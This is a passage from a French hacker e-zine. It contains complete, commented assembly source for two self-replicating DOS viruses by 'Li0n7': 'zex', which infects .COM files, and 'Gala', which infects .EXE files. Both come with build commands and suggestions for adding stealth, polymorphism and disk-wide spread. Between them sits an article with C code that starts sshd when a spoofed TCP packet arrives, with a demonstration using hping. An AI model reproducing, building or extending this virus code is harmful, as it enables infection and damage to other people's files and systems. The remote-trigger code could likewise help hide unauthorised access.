mov al,0 ;00h = lecture
mov ah,57h ;code de manipulation des paramètres du fichier
int 21h
cmp dx,1D45h ;date = 5 Octobre 1994 ?
ret
------8<--------------------
Voici notre ultime procédure, la raison même d'être de notre virus, le coeur
de notre code assurant la survie de notre microbe sur le disque de la victime.
Mais qu'en est-il vraiment? Au stade actuelle de le programmation du virus,
il nous suffit de lire les 4 premiers octets du programme hôte, d'y placer un
jmp vers l'offset de notre virus que nous allons placé à la fin du fichier à
infecter et enfin de corrompre sa date de modification (24 Octobre 1994).
Qu'est-ce qu'on s'amuse ! Comment récupérer l'offset de notre virus ? Par
simple soustration de l'offset du label de fin (fin:) par celui du label
de début (start:), on jump ensuite à la fonction close_file.
------8<--------------------
Infect:
xor cx,cx ;0? 0!
xor dx,dx ;0?! 0!!
mov ax,4200h ;on se place au début du fichier
int 21h
mov cx,4 ;on place le compteur à 4
push cs
pop ds
mov dx,offset begin ;dx <- offset begin (pour lecture des 4 octets de départ)
add dx,bp ;on y ajoute le décalage
mov ah,3Fh ;code de lecture
int 21h ;interruption DOS - lecture
xor cx,cx ;cx <- 0
xor dx,dx ;dx <- 0
mov ax,4202h ;on se place à la fin du fichier
int 21h
push ax ;on empile ax
mov cx,offset Fin - offset Start + 1 ;on calcule la taille du virus
push cs
pop ds
mov dx,offset Start ;ds:dx <- offset Start (début virus)
add dx,bp ;éternel décalage
mov ah,40h ;on écrit le virus à la fin du fichier à infecte! ROCK ON!
int 21h
xor cx,cx ;cx <- 0
xor dx,dx ;dx <- 0
mov ax, 4200h ;on se place au début du fichier
int 21h
pop ax ;on récupère ax <- taille originale du fichier
sub ax,3
mov byte ptr [bp + fjmp],0E9h ;on se crée un tit jmp en opcode
mov word ptr [bp + fjmp + 1],ax ;et on entre en argument l'offset de notre virus
push cs
pop ds
mov dx,offset fjmp ;adresse de false jmp (fmp)
add dx,bp
mov cx,3
mov ah,40h ;écriture du jmp dans les 3 premiers octets du fichier
int 21h
mov al,0
mov ah,57h ;on va modifier la date
int 21h
mov dx,1D45h ;date <- 1D45h <- 24 Octobre 1994
mov al,1 ;on définie la date
mov ah,57h ;on modifie le fichier
int 21h
jmp Close_file ;on ferme le fichier et on continue
------8<--------------------
III. Code source :
__________________
------8<---------------------------------------------------------------------
;zex.asm by Li0n7
;R0CK 0N BABY !
.model tiny
.code
org 100h
Virus:
jmp Start
nop
mov ax,0900h
mov dx, offset hello
int 21h
mov ax,4C00h
int 21h
Start:
call getadd
getadd:
pop bp
sub bp,offset getadd
MDTA:
push cs
pop ds
mov dx,offset DTA
add dx,bp
mov ah,1Ah
int 21h
Offset_hote:
push cs
pop ds
mov si,offset begin
add si,bp
push cs
pop es
mov di,100h
mov cx,4
rep movsb
ccherche:
push cs
pop ds
mov dx,offset com_file
add dx,bp
mov cl,7
mov ah,4Eh
int 21h
cmp ax,18
loop_cherche:
jz quit_now
mov al,2
push cs
pop ds
mov dx,offset DTA + 1Eh
add dx,bp
mov ah,3Dh
int 21h
mov bx,ax
jc quit_now
call infected
jnz Infect
Close_file:
mov ah,3Eh
int 21h
trouve:
mov ah,4Fh
int 21h
cmp ax,18
jmp loop_cherche
quit_now:
mov ax,100h
push ax
ret
infected:
mov al,0
mov ah,57h
int 21h
cmp dx,1D45h
ret
Infect:
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov cx,4
push cs
pop ds
mov dx,offset begin
add dx,bp
mov ah,3Fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
push ax
mov cx,offset Fin - offset Start + 1
push cs
pop ds
mov dx,offset Start
add dx,bp
mov ah,40h
int 21h
xor cx,cx
xor dx,dx
mov al,00
mov ah,42h
int 21h
pop ax
sub ax,3
mov byte ptr [bp + fjmp],0E9h
mov word ptr [bp + fjmp + 1],ax
push cs
pop ds
mov dx,offset fjmp
add dx,bp
mov cx,3
mov ah,40h
int 21h
mov al,0
mov ah,57h
int 21h
mov dx,1D45h
mov al,1
mov ah,57h
int 21h
jmp Close_file
com_file db '*.com$'
hello db 'Mouhahahahaha!','$'
begin db 4 dup (90h)
fjmp db 3 dup (0)
DTA db 43 dup (0)
Fin:
end Virus
------8<---------------------------------------------------------------------
IV. Conclusion :
________________
Vous n'avez plus qu'à tester le microbe. Copier le dans un répertoire avec
quelques .com pures, j'entends par là non-infectés, puis lancer le virus.
Mystérieusement vos .com seront devenus quelque peu boulémiques ! Notez que
la taille du virus est de 269 octets, ce qui est ridicule en comparaison à
des virus codés en vb ou C, mais cette taille reste entièrement optimisable.
La routine d'infection peut être raccourcie d'un poil, ainsi que la routine
de recherche. Vous pouvez l'amélioré en le rendant résidant mémoire en détournant
la table des vecteurs d'interruptions, ou bien infecter un autre type de fichier,
.exe par exemple, ce qui implique une connaissance pointue du PE header (équivalent
de l'elf header linux) ou encore imposer une consommation abusive des ressources de
l'OS, jusqu'à redémarrage de la machine. A vous de jouer!
Pour assembler:
>tasm zex.asm
Pour linker:
>tlink zex.obj
>zex ; :-)
Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr
---------------------------------------------------------------------------------------
XI. Démarrer sshd à distance Jackniels
---------------------------------------------------------------------------------------
[ Introduction ]
Cet article va montrer comment on peut "cacher" sshd et l'activer à distance
à la demande. Cela permet d'éviter de laisser tourner ce daemon et donc de se
prémunir des attaques visant sshd. Son activation va se faire sur la réception
d'un segment TCP avec une IP source et un port source particuliers.
Il est possible d'envisager un tel programme pour administrer une machine aidant
à la détection d'intrusion. Il est alors possible de fermer tous les services sur
cette machine même le port 22/tcp. Pour réaliser ce programme, nous allons utiliser
la libpcap. La libpcap est une bibliothèque de fonctions qui sert d'interface à la
capture de paquets et est indépendante du système. En clair, la libpcap permet
d'écouter le réseau avec ses propres filtres puisqu'elle inclut un mécanisme de
filtrage basé sur le Berkeley Packet Filter (BPF).
La libpcap est téléchargeable ici : http://www.tcpdump.org
I. Le Code :
____________
------------8<------------------------------------------------------------------
// startsshd.c by jackniels
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <pcap.h>
#include <arpa/inet.h>
#include <signal.h>
#include <unistd.h>
#include <net/bpf.h>
#include <net/if.h>
void callback(u_char *user,const struct pcap_pkthdr *h, const u_char *buff)
{
printf ("sshd [OK]\n");
system("/usr/sbin/sshd -d");
exit(1);
}
int main() {
char errbuf[PCAP_ERRBUF_SIZE];
char *dev;
char *buff;
char filtre[]="tcp and src host 222.222.222.222 and src port 2222";
pcap_t *des;
bpf_u_int32 net,mask;
struct bpf_program fp;
if((dev=pcap_lookupdev(errbuf))==NULL) {
fprintf(stderr,"unable de detect device : %s\n",errbuf);
exit(-1);
}
printf("using %s as device for sniffing\n",dev);
if((des=pcap_open_live(dev,1514,IFF_PROMISC,1000,errbuf))==NULL) {
fprintf(stderr,"unable to open descriptor : %s\n",errbuf);
exit(-1);
}
if(pcap_lookupnet(dev,&net,&mask,errbuf)==-1) {
fprintf(stderr,"unable to lookup net and mask :
%s\n",errbuf);
exit(-1);
}
if(pcap_compile(des,&fp,filtre,0x100,mask)==-1) {
fprintf(stderr,"error compiling filter :
%s\n",pcap_geterr(des));
exit(-1);
}
if(pcap_setfilter(des,&fp)<0) {
fprintf(stderr,"unable to apply filter :
%s\n",pcap_geterr(des));
exit(-1);
}
if(pcap_loop(des,-1,callback,buff)<0) {
fprintf(stderr,"unable to initialize loop :
%s\n",pcap_geterr(des));
exit(-1);
}
return 1;
}
------------8<------------------------------------------------------------------
II. Démonstration :
___________________
=> Machine "shinta" :
On compile le programme de cette manière puis on le lance :
jack@shinta:~# gcc -lpcap -o startsshd startsshd.c
/
root@shinta:~# ./startsshd
using ppp0 as device for sniffing
=> Machine "tomoe" :
On lance le serveur sshd en envoyant à la machine shinta un segment TCP avec
l'IP spoofée 222.222.222.222 depuis le port 2222. Pour cela, on utilise le
programme hping (http://www.hping.org/) :
root@tomoe:~# /usr/sbin/hping -c 1 -s 2222 -a 222.222.222.222 <ip shinta>
HPING <ip shinta> (ppp0 <ip shinta>): NO FLAGS are set, 40 headers + 0 data
bytes
--- <ip shinta> hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@tomoe:~#
=> Machine "shinta"
On obtient :
root@shinta:~# ./startsshd
using ppp0 as device for sniffing
sshd [OK]
debug1: sshd version OpenSSH_3.1p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
[ Remarque ]
On a utilisé l'option -d de sshd. Si on se reporte au man de sshd :
-d Debug mode. The server sends verbose debug output to the system
log, and does not put itself in the background. The server also
will not fork and will only process one connection. This option
is only intended for debugging for the server. Multiple -d
options increase the debugging level. Maximum is 3.
Autrement dit, une seule connexion à la fois au service sshd.
=> Machine "tomoe" :
A présent, on peut se connecter à shinta par ssh.
jack@tomoe:~# ssh jack@<ip shinta>
[ Conclusion ]
Le programme ci-dessus n'est qu'une illustration permettant de montrer ce
qui est faisable mais il est livré sans aucune garantie. On peut imaginer
de lancer sshd sur un autre port que 22 (option -p), de même qu'on aurait
pu augmenter la complexité du segment TCP à envoyer (numéro id, window size,
maximum segment size ... ).
[ Références ]
http://www.hsc.fr/ressources/breves/secretssh.html
http://5hdumat.samizdat.net/coding/c.rezo/sniffpcap.html
---------------------------------------------------------------------------------------
XII. EXE infector Li0n7
---------------------------------------------------------------------------------------
[ Introduction ]
Nous avons étudié la programmation d'un com infector, voyons à présent l'infection
des exe. Les com sont des petits fichiers éxécutés par le système d'exploitation
dans le but de remplir certaines taches basiques, ils sont donc beaucoup moins
utilisés par l'utilisateur, voir dans certains cas inutilisés. L'espérance de vie
d'un com infector s'en voit considérablement réduite. Le format exe, qui est la
référence de l'éxécutable sous des système de type windows, beaucoup plus volumieux,
doté d'une structure alors plus complexe, lui assure ainsi une plate-forme sûre
d'expansion. L'arrivée des macros-virus a fait naitre une incompréhension totale
de la manière d'infecter un .exe, en effet, ceux-ci, s'ils ne suppriment pas
barabarement les éxécutables, remplace la totalité du code de ces derniers et
les renomment en .vbs, ce qui n'a rien d'un procédé d'expansion virale en soit.
L'injection d'un virus à travers un .exe se présente comme l'infection la plus
difficile à mettre en oeuvre en raison de l'header située en tête de ce type
de fichier.
[ Sommaire ]
I. Description
II. Programmation
III. Code source
IV. Conclusion
I. Description :
________________
Contrairement à l'infection d'un .com, nous n'allons pas overwritter
certaines données du .exe, juste modifier provisoirement certaines
informations de l'header en début de fichier et modifier le tableau de
réadressage. Cet en-tête est vital au fichier, altéré, il corromperait
le fichier ! Il contient tout une série de paramètres nécéssaires à la
bonne lecture de l'exécutable par le DOS : ou placer la pile, ou
l'éxécution commence-t'elle, la taille du fichier... Pour comprendre
ceci, il est indispensable de savoir que tout .exe est organisé en
segments, ainsi le code de l'éxécutable peut commencer et finir
n'importe ou.
[ PE Header ]
+----------------------------------------------------------------------------------------+
|OFFSET| NOM |TAILLE| DESCRIPTION |
+----------------------------------------------------------------------------------------+
|00 | Signature |2bytes| MZ - 4DH 5AH |
+----------------------------------------------------------------------------------------+
|02 | Taille dernière page |word | Taille en bytes de la dernière page (512 bytes) |
+----------------------------------------------------------------------------------------+
|04 | Nombre pages fichier |word | Nombre total de pages de 512 bytes |
+----------------------------------------------------------------------------------------+
|06 | Relocation items |word | Nombre d'entrées dans la table de relocations |
+----------------------------------------------------------------------------------------+
|08 | Paragraphes en-tête |word | Taille de l'header en paragraphes (16 bytes) |
+----------------------------------------------------------------------------------------+
|0A | Allocation minimale |word | Mémoire minimum requise en paragraphes |
+----------------------------------------------------------------------------------------+
|0C | Allocation maximale |word | Mémoire maximum requise en paragraphes |
+----------------------------------------------------------------------------------------+
|0E | Prerelocation SS |word | Offset segment de pile en paragraphes |
+----------------------------------------------------------------------------------------+
|10 | Stack pointer initial |word | Première valeur du pointeur de la pile |
+----------------------------------------------------------------------------------------+
|12 | Negative checksum |word | Nous y placerons notre marqueur d'infection |
+----------------------------------------------------------------------------------------+
|14 | Prerelocation IP |word | Adresse de début d'éxécution (IP) |
+----------------------------------------------------------------------------------------+
|16 | Prerelocation CS |word | Code Segment (segment de début d'éxécution) |
+----------------------------------------------------------------------------------------+
|18 | offset table reloc. |word | Offset table des relocations |
+----------------------------------------------------------------------------------------+
|1A | Overlay number |word | overlay |
+----------------------------------------------------------------------------------------+
|1C | Réservé |dword | / |
+----------------------------------------------------------------------------------------+
Lorsque nous infection un .com, nous nous contentions de rajouter un jmp au début
du fichier prenant en argument l'offset de notre virus situé à la fin du fichier.
Nous overwrittions donc les premiers bytes du fichier. Ici, nous allons modifier
certains champs de l'header de façon à éxécuter notre code situé dans un module
chargée en mémoire (le dernier segment de l'exe), puis redonner la main au fichier
hôte en remodifiant l'header. Pour cela nous aurons besoin de 5 champs. Les deux
premiers nous renseigne sur la taille de la dernière page (offset 02h) et le nombre
total de pages (offset 04h), donc la taille du fichier en pages de 512 de bytes.
Nous modifierons aussi l'offset 0Eh contenant le déplacement en paragraphes relatif
à la fin de l'header à effectuer pour atteindre le stack segment, et l'offset 10h
contenant le déplacement à effectuer relativement au début de SS pour atteindre SP.
Ainsi que l'offset 16h, contenant le déplacement en paragraphes relativement à la
fin de l'header qu'il faut effectuer pour se rendre à l'entry point (fonction main),
située sur le segment de code, première fonction a être éxécutée, nous y placerons
l'offset de notre virus. Et enfin l'offset 14h, contenant l'adresse du point d'entrée
(fonction main) sur CS.
[ PSP ]
Il faut savoir qu'après l'header de l'éxécutable se trouve la table de relocation
qui n'est utilisé qu'avec des fichiers dont la taille est supérieur à 64k. La table
de relocation contient une liste pointeurs pointant chacun sur une adresse du programme
devant être reajustées en fonction du segment dans lequel le DOS a initialisé le
programme. Pour obtenir l'adresse décalée, le DOS commence par charger l'adresse située
dans la table et y ajoute le segment du programme. Quand DOS lance un .exe, il charge
le segment PSP dans un segment mémoire. il crée une petite structure de données de 256
octets, nommée PSP (Program Segment Prefix). Le PSP qui est un vestige des premières
versions DOS et de CP/M contient des informations spécifiques à l'environnement du
programme. Le PSP est créée lors de l'éxécution du programme, et ne nécéssite ainsi
aucune place sur la mémoire morte du dur. Le PSP chargé, il ajoute la valeur 10h à
CS et laisse ES et DS pointer sur le segment PSP. Le code initial du programme
commence alors à cs:0000 ou le segment PSP est définie à CS-10h:0000 (voir schéma).
Structure .com Structure .exe
+-------------+ +-------------+
| | | |
| | | |
+-------------+ CS:FFFFh | +-------------+
| | | 64k | | |
| | PILE | max | | PILE |
64k| | | | | |
max| +-------------+ |_ +-------------+ SS:0000h
| | | | | |
| | DONNEES | 64k | | DONNEES |
| | | max | | |
| +-------------+ |_ +-------------+ DS:0000h
| | | | | |
| | | 64k | | |
| | CODE | max | | CODE |
| | | | | |
| | | | | |
| | | | | |
DS=SS=0000h |_ +-------------+ CS:0000h |_ +-------------+ CS:0000h
| PSP | | PSP |
<-------------< DS=SS=0000h <-------------< CS-10h:0000
| | | |
| | | |
+-------------+ 0000:0000 +-------------+ 0000:0000
Ceci ne sera pris en compte lors de l'infection de l'exe, mais il peut être
toujours intéréssant de le savoir. Lorsqu'un programme est chargé, DOS alloue
en mémoire une autre autre structure de données appelée le bloc d'environnement.
Ce bloc contient la liste de toutes les variables d'environnement (qui sont
généralement déclarées dans le fichier AUTOEXEC.BAT, servant à définir le
contexte dans lequel l'éxécution du programme a lieu) au format VARIABLE=VALEUR\0.
A la fin de cette liste se trouve un byte à 0, suivi d'un mot (généralement
0001h) et finalement du nom complet de l'exécutable terminé par un \0 (byte 00h).
Ce bloc d'environnement est toujours calé sur le début d'un segment, et on peut
trouver l'adresse de ce segment à l'offset 02Ch du PSP. Lorsque le programme
est terminé, ce bloc d'environement est détruit (i.e. déalloué).
[ Processus d'infection ]
Etudions dés à présent le fonctionnement général et théorique de notre
infection. Vous savez qu'il differera de celle d'un .com, en raison de
la structure interne de notre .exe. Tout d'abord nours allons vérifier
qu'il s'agit bien d'un fichier .exe en vérifiant sa signature située à
l'offset 00 de l'header qui doit correspondre à 'MZ'(ou 'ZM'). L'étape
suivante consistera à déterminer si ce même fichier a déjà été infecté
par vérification de l'offset 12 (Negative checksum) qui n'est généralement
pas utilisé et donc parfait pour insérer une marque d'infection (un
charactère quelconque). Notez que nous aurions aussi pu stocker ce marqueur
dans SP. Ensuite il va nous falloir garder en mémoire les adresses des
principaux registres de l'header tels que CS, SS, SP, IP. Puis nous
injecterons le code virale à la fin du fichier hôte et nous définirions
une adresse pour le pointeur de pile sur le segment de pile (SS:SP), une
adresse fiable assure une infection réussie, dans le cas contraire, un
pseudo buffer overflow planterait le programme et le virus ne pourrait
se répandre en dehors du launcher (tous les programmes hôtes serait
corrompus et ne pourraient donc fonctionner). Nous recalculerons la
taille du fichier en pages et en bytes que nous devrons placer respec-
-tivement à l'offset 04 et 02 de l'header. Et enfin, nous n'aurons plus
qu'à rendre la main au programme hôte en replaçant la pile à sa valeur
initiale, le pointeur d'instruction sur CS pointant au début du fichier.
Notez que nous devons reajuster SS et CS en leur ajoutant ES+10 (ES et
DS pointent tous deux sur PSP). L'ultime étape consiste à masquer toute
trace d'infection en restorant les attributs de fichier et la dernière
date (et heure) de modification du fichier pour éviter de pouvoir tracer
le virus.
II. Programmation :
___________________
Après toute cette théorie vous devez être capable de coder un launcher
facilement. Nous allons étudier successivement toutes les routines
d'infection assembleur. Rien de bien compliqué je vous rassure. Le code
a été obtenue par modification de mon virus zex, les routines de début
sont donc identiques et la structure du programme s'est vue compliqué par
l'infection du format exe. Ce virus est actif, de ce fait essayer de l'isoler
sur votre machine. Tout d'abord, il nous faut calculer le décalage relatif à
la fin du fichier hôte infecté, pour ensuite pouvoir manipuler variables et
label à partir du fichier infecté.
------8<--------------------
Virus:
push ds ;empile ds
push cs cs ;empile cs
pop es ds ;es = ds = cs
call debut
debut:
pop bp ;on récupere ds
sub bp,offset debut ;on y soustrait l'offset du label
;debut: pour obtenir le début du virus
------8<--------------------
Maintenant nous devons déclarer une nouvelle table DTA (voir article
com_infector) puis mettre à 0 l'IP, pour le faire pointer ensuite sur
notre code virale situé à la fin du virus. A la fin de la routine défaut
nous lancerons la recherche d'exe à infecter.
------8<--------------------
MDTA:
lea dx,[bp+DTA] ;dx <- [bp+DTA]
mov ah,1a ;définir nouvelle table DTA
int 21
Defaut:
lea di,[bp+New_IP] ;di <- [bp+New_IP] (destination)
lea si,[bp+Def_IP] ;si <- [bp+Def_IP] (source)
mov cx,4 ;cx <- 4
rep movsw ;di[4] <- si[4]
mov ah,4e ;ax <- 4eh (code de recherche)
xor cx,cx ;cx <- 0
lea dx,[bp+exesig] ;dx <- [bp+exesig] (fichier que nous recherchons, ici '*.exe')
------8<--------------------
Nos arguments de recherches placés dans les différents registres, nous
n'avons plus qu'à lancer la boucle de recherche principale. C'est la
fonction principale de notre virus, après avoir trouver un fichier en
.exe, elle commence par le lire dans sa totalité en stockant son contenu
dans un buffer: header_exe, ensuite elle se contente de vérifier le format
du fichier par lecture à l'offset 00 de la chaine 'ZM' et la pureté de ce
dernier par lecture de l'offset 12. Si le fichier est bien un .exe pure
(i.e si l'offset 12 de l'header ne contient pas la chaine 'X'), alors elle
appelle la routine SHEADER qui effectue une sauvegarde de l'header, puis
les deux routines CSIP et SIZE qui, respectivement, modifie différents
offsets de l'header et calcule la nouvelle taille de l'exe (concaténer
avec le virus). Et enfin copie le virus à la fin du fichier et l'header
modifié au début de celui-ci.
------8<--------------------
Loop_cherche:
int 21 ;lance la recherche
jc End_loop ;erreur? recherche terminée? on quitte
mov ax,3d02 ;ax <- 3d02h
lea dx,[bp+DTA+1e] ;dx <- [bp+DTA+1e] (offset 1eh table DTA = nom du fichier)
int 21 ;on ouvre le fichier en lecture/écriture
mov bx,ax ;bx <- handle du fichier
mov ah,3f ;ah <- 3fh
mov cx,1a ;cx <- 1ah (taille du fichier)
lea dx,[bp+header_exe] ;dx <- [bp+header_exe]
int 21 ;on stocke le contenu du fichier dans le buffer header_exe
cmp word ptr [bp+header_exe],'ZM' ;fichier exe?
jne close_file ;non on ferme le fichier
cmp byte ptr [bp+header_exe+12],'X' ;fichier déjà infecté?
je close_file ;oui on ferme le fichier
call __SHEADER ;on appelle la routine SHEADER
mov ax,4202 ;on se déplace au début du fichier
xor cx,cx
xor dx,dx
int 21
push ax dx ;empilement de ax et dx
call __CSIP ;appel de la routine CSIP
pop dx ax ;dx <- dx, ax <- ax (taille du fichier non infecté)
call __SIZE ;appel de la routine SIZE
mov ah,40 ;ax <- 40h
mov cx,Fin-Virus ;cx <- offset Fin - offset virus (taille du virus)
lea dx,[bp+Virus] ;dx <- [bp+Virus]
int 21 ;on écrit le virus à la fin du fichier
mov ax,4200 ;déplacement au début du fichier
xor cx,cx
xor dx,dx
int 21
mov ah,40
mov cx,1a
lea dx,[bp+header_exe]
int 21 ;écriture de l'header modifié
------8<--------------------
L'infection du fichier exe actuellement ouvert terminée, il nous faut
le refermet et continuer la recherche. En cas d'erreur, ou de fin de
recherche, on saute directement au label End_loop, qui restore la table
DTA d'origine.
------8<--------------------
Close_File:
mov ah,3e ;ah <- 3eh (bx <- handle)
int 21 ;fermeture du fichier
Continue:
mov ah,4f ;ah <- 4fh
jmp Loop_cherche ;continuer recherche
End_loop:
pop ds ;adresse du segment PSP
mov dx,80 ;dx <- 80
mov ah,1a ;ah <- 1ah
int 21 ;restoration de la table DTA
------8<--------------------
La recherche terminée, le segment de code doit être remodifié de
façon à éxécuter le code original du fichier hôte. Nous effectuons
ensuite un far jump 0 New_CS:New_IP (ce qui à pour conséquence de
rendre la main au fichier infecté).
------8<--------------------
Hote_go:
push ds
pop es ;es <- ds
mov ax,es ;ax <- es
add ax,10
add word ptr cs:[bp+New_CS],ax ;reajuste l'ancien segment de code (sauvegardé avant infection)
cli
add ax,word ptr cs:[bp+New_SS] ;reajuste l'ancien segment de pile (sauvegardé avant infection)
mov ss,ax ;ss <- ax
mov sp,word ptr cs:[bp+New_SP] ;on restore le pointeur de pile original
sti
db 0ea ;far jmp New_CS:New_IP
New_CS dw 0
New_IP dw 0
New_SP dw 0
New_SS dw 0
Def_CS dw 0fff0
Def_IP dw 0
Def_SP dw 0
Def_SS dw 0fff0
------8<--------------------
Bon à présent étudions les différentes routines qui vont nous permettre
l'éxécution du virus à l'ouverture du fichier hôte dans de bonnes conditions.
Pour commencer la routine CSIP. Celle-ci s'occupe de la modification des différents
offsets de l'header du fichier a infecter. Les offsets 0Eh, 10h, 12h, 14h et 16h
sont modifiés respectivement avec l'offset du nouveau segment de pile calculé en
paragraphes (SS=CS), la valeur 0FFFE (SP), 'X' caractère marqueur de l'infection
(placé dans le Negative checksum offset 12h), puis, la nouvelle première instruction
à éxécuter (la première de notre virus) et enfin l'adresse de segment CS modifiée.
Toutes ces valeurs sont calculées en effectuant différents calculs obtenus par
manipulation des mnémoniques arithmétiques (shl,shr) qui effectuent un décalage
à droite ou à gauche de n octets, ce qui a pour résultat de multiplier la valeur
placée dans l'opérande source par une puissance de 2, correspondant au nombre
placé dans l'opérande de destination.
------8<--------------------
__CSIP:
push ax ;empile (ax <- taille du fichier hôte)
mov ax,word ptr[bp+header_exe+8] ;ax <- taille de l'header
mov cl,4 ;cl <- 4 (2^4=32)
shl ax,cl ;conversion en bytes (ax*32)
mov cx,ax ;cx <- ax
pop ax ;ax <- taille du fichier hôte
sub ax,cx ;ax <- ax - cx
sbb dx,0
mov cl,0ch ;cx <- 12
shl dx,cl ;dx <- adresse de segment
mov cl,4 ;cl <- 4
push ax
shr ax,cl ;ax <- ax/4
add dx,ax ;dx <- dx + ax (nouveau CS)
shl ax,cl ;ax <- ax*4
pop cx
sub cx,ax ;cx <- cx - ax (nouveau IP)
mov word ptr [bp+header_exe+0Eh],dx ;[bp+header_exe+0Eh] <- nouveau SS (= CS)
mov word ptr [bp+header_exe+10],0FFFE ;[bp+header_exe+10] <- 0FFFE (SP)
mov byte ptr [bp+header_exe+12],'X' ;[bp+header_exe+12] <- 'X' (marqueur d'infection)
mov word ptr [bp+header_exe+14],cx ;[bp+header_exe+14] <- nouveau IP
mov word ptr [bp+header_exe+16],dx ;[bp+header_exe+16] <- nouveau CS
ret
------8<--------------------
La routine SIZE calcule la nouvelle taille du fichier hôte infecté (fichier hôte et virus concaténés),
en pages et en bytes, puis place à l'offset 04 du PE header le nombre de pages, et à l'offset 02 la
taille en byte du fichier hôte infecté.
------8<--------------------
__SIZE:
push ax ;empilem (ax <- taille fichier hôte)
add ax,Fin - Virus ;ax <- taille fichier infecté
adc dx,0
mov cl,7 ;cl <- 7 (2^7=128)
shl dx,cl ;dx <- dx*128
mov cl,9 ;cl <- 9 (2^9=512)
shr ax,cl ;ax <- ax/512
add ax,dx ;ax <- ax + dx
inc ax
mov word ptr [bp+header_exe+04],ax ;[bp+header_exe+04] <- nombre de pages
pop ax
mov dx,ax
shr ax,cl
shl ax,cl
mov dx,ax
mov word ptr [bp+header_exe+02],dx ;[bp+header_exe+02] <- taille en bytes
ret
------8<--------------------
Et enfin la routine SHEADER qui effectue une sauvegarde de l'header du
fichier hôte non infecté par copie des champs de celui-la allant être
modifié (0Eh-SS, 10-SP, 14-IP, 16-CS), dans les buffers respectifs
Def_SS, Def_SP, Def_IP, Def_CS.
------8<--------------------
__SHEADER:
mov ax,word ptr [bp+header_exe+0Eh]
mov word ptr [bp+Def_SS],ax ;[bp+Def_SS] <- [bp+header_exe+0Eh]
mov ax,word ptr [bp+header_exe+10]
mov word ptr [bp+Def_SP],ax ;[bp+Def_SP] <- [bp+header_exe+12]
mov ax,word ptr [bp+header_exe+14]
mov word ptr [bp+Def_IP],ax ;[bp+Def_IP] <- [bp+header_exe+14]
mov ax,word ptr [bp+header_exe+16]
mov word ptr [bp+Def_CS],ax ;[bp+Def_CS] <- [bp+header_exe+16]
ret
------8<--------------------
III. Code source :
__________________
------8<---------------------------------------------------------------------
;Gala by Li0n7
;current directory exe file format infector
;Salvador's not here.. Fuck! you gotta code your own AV!...
;... Gala rot in hell!!
.model tiny
.radix 16
.code
org 100
Virus:
push ds
push cs cs
pop es ds
call debut
debut:
pop bp
sub bp,offset debut
MDTA:
lea dx,[bp+DTA]
mov ah,1a
int 21
Defaut:
lea di,[bp+New_IP]
lea si,[bp+Def_IP]
mov cx,4
rep movsw
mov ah,4e
xor cx,cx
lea dx,[bp+exesig]
Loop_cherche:
int 21
jc End_loop
mov ax,3d02
lea dx,[bp+DTA+1e]
int 21
mov bx,ax
mov ah,3f
mov cx,1a
lea dx,[bp+header_exe]
int 21
cmp word ptr [bp+header_exe],'ZM'
jne close_file
cmp byte ptr [bp+header_exe+12],'X'
je close_file
call __SHEADER
mov ax,4202
xor cx,cx
xor dx,dx
int 21
push ax dx
call __CSIP
pop dx ax
call __SIZE
mov ah,40
mov cx,Fin-Virus
lea dx,[bp+Virus]
int 21
mov ax,4200
xor cx,cx
xor dx,dx
int 21
mov ah,40
mov cx,1a
lea dx,[bp+header_exe]
int 21
Close_File:
mov ah,3e
int 21
Continue:
mov ah,4f
jmp Loop_cherche
End_loop:
pop ds
mov dx,80
mov ah,1a
int 21
Hote_go:
push ds
pop es
mov ax,es
add ax,10
add word ptr cs:[bp+New_CS],ax
cli
add ax,word ptr cs:[bp+New_SS]
mov ss,ax
mov sp,word ptr cs:[bp+New_SP]
sti
db 0ea
New_CS dw 0
New_IP dw 0
New_SP dw 0
New_SS dw 0
Def_CS dw 0fff0
Def_IP dw 0
Def_SP dw 0
Def_SS dw 0fff0
__CSIP:
push ax
mov ax,word ptr[bp+header_exe+8]
mov cl,4
shl ax,cl
mov cx,ax
pop ax
sub ax,cx
sbb dx,0
mov cl,0ch
shl dx,cl
mov cl,4
push ax
shr ax,cl
add dx,ax
shl ax,cl
pop cx
sub cx,ax
mov word ptr [bp+header_exe+0Eh],dx
mov word ptr [bp+header_exe+10],0FFFE
mov byte ptr [bp+header_exe+12],'X'
mov word ptr [bp+header_exe+14],cx
mov word ptr [bp+header_exe+16],dx
ret
__SIZE:
push ax
add ax,Fin - Virus
adc dx,0
mov cl,7
shl dx,cl
mov cl,9
shr ax,cl
add ax,dx
inc ax
mov word ptr [bp+header_exe+04],ax
pop ax
mov dx,ax
shr ax,cl
shl ax,cl
mov dx,ax
mov word ptr [bp+header_exe+02],dx
ret
__SHEADER:
mov ax,word ptr [bp+header_exe+0Eh]
mov word ptr [bp+Def_SS],ax
mov ax,word ptr [bp+header_exe+10]
mov word ptr [bp+Def_SP],ax
mov ax,word ptr [bp+header_exe+14]
mov word ptr [bp+Def_IP],ax
mov ax,word ptr [bp+header_exe+16]
mov word ptr [bp+Def_CS],ax
ret
exesig db '*.EXE',0
Fin:
header_exe db 1a dup (?)
DTA:
End Virus
------8<---------------------------------------------------------------------
V. Conclusion :
_______________
L'infection d'un .exe se montre ainsi plus difficile que celle d'un .com.
Mais, Le format exe étant un poil moins complexe que le format elf, les
virus ont encore de beaux jours devant eux sur les plate-formes windows.
Le code de ce virus peut être une fois encore largment optimisé pour se
voir greffer un moteur de polymorphie par exemple ou encore une routine
de restoration de date de modification des fichiers infectés, en conséquence,
la furtivité du virus s'en verra grandement améliorée! Notez que ce virus
n'infecte que les fichiers du répertoire courrant, cet atavisme hérité du
com infector peut être contourné en étendant le pouvoir d'infection du
microbe sur tout le disque, cette fonction est encore très simple à
programmer, avis aux vxers !
Pour assembler:
>tasm gala.asm
Pour linker:
>tlink gala.obj
>gala
---------------------------------------------------------------------------------------
